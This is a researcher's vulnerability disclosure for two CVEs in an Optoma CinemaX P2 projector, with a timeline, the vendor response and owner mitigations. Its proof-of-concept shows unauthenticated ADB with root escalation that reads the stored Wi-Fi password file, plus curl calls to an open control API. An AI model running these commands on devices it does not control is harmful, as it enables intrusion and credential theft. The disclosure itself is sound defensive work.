
CVE IDs: CVE-2026-30495, CVE-2026-30496 Vendor: Optoma / Coretronic Corporation Disclosure Date: 2026-02-01 Public Disclosure: 2026-05-02
TL;DR
I'd owned my $3000 Optoma CinemaX P2 projector for nearly four years when I decided 2026 would be the year I started looking at IoT devices. I've got a few IoT things, but I figured that starting with the only Android device (and the most expensive) made sense. Having just read The Kimwolf botnet is stalking your local network, I started by testing ADB Debug- and immediately had root access, on the very first attempt of my IoT-hacking career. Everything they say is true.
The projector was released in September 2020, but runs Android 8 with a security patch level from December 2017 - already 3 years out of date when it shipped. The last firmware update was July 2021 and addressed HDMI issues, not security. It ships with a user-debug build, an 'su' binary, and ADB wide open on the network.
In March 2026, Optoma issued a new firmware that addresses the ADB issue (CVE-2026-30495), but leaves the unauthenticated control API (CVE-2026-30496) exploitable. That update is not pushed through the on-device updater, the version string is unchanged, and the release notes don't mention security, so most owners will never receive it.
Further firmware analysis revealed 5 further probable high or critical vulnerabilities (mostly TLS-related) that I simply haven't had time to submit.
Affected Products
I tested on a CinemaX P2, but based on shared firmware, these models are likely affected too:
| Model | Status |
|---|---|
| CinemaX P2 (X1VDPTHG) | Confirmed vulnerable |
| CinemaX P1 / UHZ65UST | Likely vulnerable (same device, regional naming) |
| CinemaX Pro | Likely vulnerable (same firmware platform) |
Affected Versions
Firmware build (ro.build.date) |
Released as | CVE-2026-30495 (root ADB) |
|---|---|---|
Thu Jun 3 01:12:35 CST 2021 |
Distributed by Optoma as "C13.2", July 2021. | Exploitable (ro.adb.secure=0) |
Wed Mar 4 17:57:00 CST 2026 |
Published on the Optoma EMEA download page on 2026-03-23, still labelled "C13.2" | Patched (ro.adb.secure=1) |
The projector reports firmware version TVOS-04.24.010.04.01 with ro.build.display.id = P1_Lite-userdebug 8.0.0 OPR5.170623.014 TVOS-04.24.010.04.01 test-keys. Optoma did not change this string across the security rebuild, so the only reliable per-build identifier is the Android ro.build.date property, which is not readable once the projector is patched.
Disclosure
An nmap sweep of my LAN showed the projector listening on TCP 5555 (ADB) and 2345 (HTTP). Neither should be reachable without authentication.
I reported both issues to Optoma on 2026-02-01:
- Optoma UK / EMEA via the UK PSTI enquiry form (Ticket #11594)
- Optoma US via the US support portal (Ticket #2033016)
Optoma US acknowledged the same day; Optoma EMEA acknowledged on 2026-02-04 and confirmed they had escalated the report to the relevant team. Optoma US never contacted me, nor responded to my followups, after initial acknowledgement. EMEA did continue to engage.
CVE-2026-30495: Unauthenticated Remote Root Access (CVSS 9.6 Critical)
The projector exposes ADB (Android Debug Bridge) on port 5555 with no authentication required. From there you can trivially su to root. Here you go, just grab your wifi passwd stored in cleartext:
$ adb connect 192.168.1.73
connected to 192.168.1.73:5555
$ adb shell
P1_Lite:/ $ su
P1_Lite:/ # cat /data/misc/wifi/WifiConfigStore.xml | grep PreSharedKey
<string name="PreSharedKey">"REDACTED"</string>
Vendor response
On 2026-03-23, Optoma EMEA notified me that a new firmware build was available addressing this issue. Static analysis of the unflashed image confirms the relevant Android build flags are flipped:
ro.adb.secure=0→1ro.debuggable=1→0persist.sys.usb.config=adb→none
There are several problems with how the patch is being delivered:
- The new firmware is labelled C13.2, the same version string as the known-vulnerable build it replaces. There is no way for an owner to tell from the version number whether they have the patched build.
- The release notes do not mention this security issue.
- The firmware is not offered through the on-device update mechanism. I have checked many times over the years and have never been offered an update; this one is not offered either. Possibly a side-effect of the unchanged version string.
- The updated firmware is published on the Optoma Europe download page but not on the Optoma USA download page as of disclosure. The projector was sold in both regions.
- The updated firmware still ships with the 'su' binary, So the patch only raises the bar for reaching the shell- anyone who gets shell on a patched device still gets root.
The combination of silent release notes, no automatic update, partial geographic coverage, and no version bump essentially means that this remains unfixed for all practical purposes.
CVE-2026-30496: Unauthenticated Remote Control API (CVSS 6.3 Medium)
This isn't as severe as the first one, but there's an HTTP API on port 2345 that allows full remote control - not just reading settings, but changing them:
# Read volume
$ curl http://192.168.1.30:2345/get/Volume
93
# Change volume (no auth required)
$ curl http://192.168.1.30:2345/inc/Volume
94
# Set arbitrary value
$ curl -X PUT "http://192.168.1.30:2345/set/Volume?value=50"
0
# Mute the device
$ curl -X PUT "http://192.168.1.30:2345/set/Mute?value=1"
0
Anyone on your network can mess with your projector settings, including even hammering them to damage the projector.
The API exposes 74 distinct actions across display, audio, power, network protocols, lamp telemetry and more: Coretronic Central Manager API: Endpoint Inventory.
Vendor response
Optoma did not address this issue. The control API is not mentioned in the release notes for the March 2026 firmware and is not closed by the firmware image. Even owners who manually apply the partial patch for CVE-2026-30495 remain exposed via this vector.
Other Issues
Additionally, the CinemaX P2 reports Android security patch level 2017-12-01 and runs Android 8.0.0.
- The device is missing every monthly fix from the Android Security Bulletins since January 2018.
- Android 8 reached end-of-life for Google security updates in October 2020 (one month after the Cinemax P2 first went on sale!)
- The firmware build is
userdebugrather thanuser, signed withtest-keysrather thanrelease-keys- Not appropriate for a consumer device.
What You Should Do
If you own one of these projectors, realistically treat the device as compromised if it's ever been on a network exposed to the internet.
- Disconnect it from the network entirely if you don't need it online - if you only feed it video over HDMI from an Apple TV, set-top box, or laptop, the projector has no reason to be on WiFi or Ethernet at all. This is the only step that fully closes both vulnerabilities.
- Manually apply the March 2026 firmware from the Optoma Europe download page (or the UHZ65UST equivalent). Identify it by file date (see the CVE-2026-30495 vendor-response section above for why the version string can't be relied on). This closes the ADB vector but not the unauthenticated control API.
- Isolate it - Put it on a separate VLAN or guest network. The unauthenticated control API on port 2345 is not addressed by any current firmware.
- Don't use it on shared networks - Hotels, offices, anywhere you don't control the network.
- Disable network features - If you don't need Alexa integration or remote control apps, don't use them.
- Block outbound traffic - At your firewall if possible.
Timeline
| Date | Event |
|---|---|
| September 2020 | CinemaX P2 released (shipped with Dec 2017 security patches - already 3 years outdated) |
| July 2021 | Last firmware update before this incident (HDMI/lip sync fixes only, no security updates) |
| March 2022 | I purchased the projector new at retail |
| December 2022 | CinemaX P2 discontinued from retail sale |
| January 2026 | Discovered ADB open, root access confirmed, started assessment |
| 2026-02-01 | Notified Optoma EMEA via UK PSTI form (Ticket #11594) and Optoma US (Ticket #2033016); CVEs requested from MITRE |
| 2026-02-02 | Optoma US acknowledged |
| 2026-02-04 | Optoma EMEA acknowledged, escalated to engineering |
| 2026-02-08 | Retested on latest available firmware (C13.2) after factory reset; both vulnerabilities persist |
| 2026-03-23 | Optoma EMEA released a new firmware build addressing the ADB issue |
| 2026-03-30 | Static analysis of the new firmware confirmed CVE-2026-30495 is mitigated; CVE-2026-30496 is not addressed; rollout deficiencies identified |
| 2026-05-02 | Public disclosure |
Technical Details
Full evidence available, on request:
- ADB session logs showing root escalation
- API testing logs showing unauthenticated control
- Network packet captures
- Static analysis notes for the five further high/critical findings referenced in the TL;DR (mostly TLS-related)
AI Disclosure: I used Claude to help with some of the analysis and writeup. Not that I really needed to.
Questions? stefan@whitelabel.org






































